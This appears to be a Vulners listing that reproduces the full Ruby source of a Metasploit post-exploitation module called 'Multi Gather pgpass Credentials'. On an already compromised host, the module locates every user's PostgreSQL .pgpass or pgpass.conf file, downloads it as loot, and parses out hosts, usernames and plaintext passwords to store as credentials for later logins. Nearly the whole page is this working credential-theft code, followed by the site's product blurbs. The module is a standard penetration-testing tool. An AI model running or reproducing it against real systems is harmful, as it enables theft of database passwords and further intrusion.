Lucene search
+L

Multi Gather pgpass Credentials

🗓️ 26 Oct 2012 02:30:54Reported by Zach Grace <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

Collect .pgpass or pgpass.conf files for parsing credentials from all users on the system

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather pgpass Credentials',
        'Description' => %q{
          This module will collect the contents of all users' .pgpass or pgpass.conf
          file and parse them for credentials.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
        'Platform' => %w[linux bsd unix osx win],
        'SessionTypes' => %w[meterpreter shell]
      )
    )
  end

  def run
    print_status('Finding pgpass creds')

    files = []
    case session.platform
    when 'unix', 'linux', 'bsd', 'osx'
      files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }
    when 'windows'
      if session.type != 'meterpreter'
        print_error('Only meterpreter sessions are supported on windows hosts')
        return
      end

      grab_user_profiles.select do |user|
        f = "#{user['AppData']}\\postgresql\\pgpass.conf"
        if user['AppData'] && file?(f)
          files << f
        end
      end
    else
      print_error("Unsupported platform #{session.platform}")
      return
    end

    if files.nil? || files.empty?
      print_error('No users found with a .pgpass or pgpass.conf file')
      return
    end

    files.each do |f|
      # Store the loot
      print_good("Downloading #{f}")
      pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")
      print_good "Postgres credentials file saved to #{pgpass_path}"
      # Store the creds
      parse_creds(f)
    end
  end

  # Store the creds to
  def parse_creds(f)
    cred_table = Rex::Text::Table.new(
      'Header' => 'Postgres Data',
      'Indent' => 1,
      'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
    )

    read_file(f).each_line do |entry|
      # skip comments
      next if entry.lstrip[0, 1] == '#'

      ip, port, db, user, pass = entry.chomp.split(/:/, 5)

      # Fix for some weirdness that happens with backslashes
      p = ''
      bs = false
      pass.split(//).each do |c|
        if c == '\\'
          if bs == false
            bs = true
            p << c
          else
            # second backslash ignore
            bs = false
          end
        elsif c == ':' && bs == true
          p = "#{p[0, p.length - 1]}:"
        else
          p << c
        end
      end

      pass = p

      # Display the original before we try to report it, so the user
      # sees whatever was actually in the file in case it's weird
      cred_table << [ip, port, db, user, pass]

      if ip == '*' || ip == 'localhost'
        ip = session.session_host
      else
        ip = Rex::Socket.getaddress(ip)
      end

      # Use the default postgres port if the file had a wildcard
      port = 5432 if port == '*'

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: user,
        private_data: pass,
        private_type: :password,
        realm_value: db,
        realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
        workspace_id: myworkspace_id
      }

      credential_core = create_credential(credential_data)

      login_data = {
        address: ip,
        port: port,
        protocol: 'tcp',
        service_name: 'postgres',
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED,
        workspace_id: myworkspace_id
      }
      create_credential_login(login_data)
    end

    if !cred_table.rows.empty?
      print_line
      print_line(cred_table.to_s)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation